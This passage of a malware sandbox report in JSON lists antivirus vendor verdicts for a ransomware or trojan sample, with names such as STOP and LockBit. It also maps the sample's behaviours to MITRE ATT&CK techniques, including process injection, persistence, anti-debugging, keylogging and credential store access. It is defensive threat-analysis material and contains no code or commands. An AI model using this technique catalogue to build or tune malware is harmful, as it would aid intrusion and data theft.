(W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Heur.Mint.Zard.24 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HTVL trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Ransom.Win32.STOP.dg!n","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 005a60081 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Lockbit-FSWW!330A396BA665","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Zenpak.jwxhqi","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"malicious","threat_name":"Confidence_98","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/Krypt-XU","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Trojan.FWF.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.RHJ","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Malware-Cryptor.2LA.gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_35.8","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Stop.Win32.3898","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Mint.Zard.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"},{"type":"informative","value":"Recently renewed or created SSL certificate"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"malicious","value":"Calls an API typically used to execute an application"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to create/read/set mailslotinfo (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"References task scheduler-related strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to schedule tasks using COM objects"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"},{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to modify system service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"YARA signature match - Anti Debugging Used"},{"type":"suspicious","value":"YARA signature match - Anti-Debugging (PEB)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains ability to encrypt/encode message (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"YARA signature match - ChaCha20 256-bit algorithm"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Imports Mailslot related APIs"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"YARA signature match - ChaCha20 128-bit algorithm"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Contains escaped byte string (often part of obfuscated shellcode)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment using user register activity"},{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"suspicious","value":"Rename many files (often indicator of ransomware infection)"},{"type":"suspicious","value":"Drops executable files with unusual extensions"},{"type":"suspicious","value":"Drops executable files inside user directory"},{"type":"suspicious","value":"Drops PE files with different extensions"},{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Windows File and Directory Permissions Modification","attack_id":"T1222.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1222/001","identifiers":[{"type":"malicious","value":"Modifies the access control lists of files"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Double File Extension","attack_id":"T1036.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/007","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file contains unusual section name"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Found strings related to keylogger"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in the Windows directory"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve windows environment variables"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve data about the local computer (API string)"},{"type":"informative","value":"Contains ability to find logical drives of the machine (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Found registry key string for installed applications"},{"type":"informative","value":"Contains ability to query registry keys (API string)"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Accesses Software Policy Settings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"Device Driver Discovery","attack_id":"T1652","attack_id_wiki":"https://attack.mitre.org/techniques/T1652","identifiers":[{"type":"informative","value":"Tries to retrieve device driver information"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"},{"type":"informative","value":"Contains reference to Outlook data files path"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"67f24d47ccc11a9e280e1ea4"}]},{"tactic":"Command and Control","technique":"Application Layer 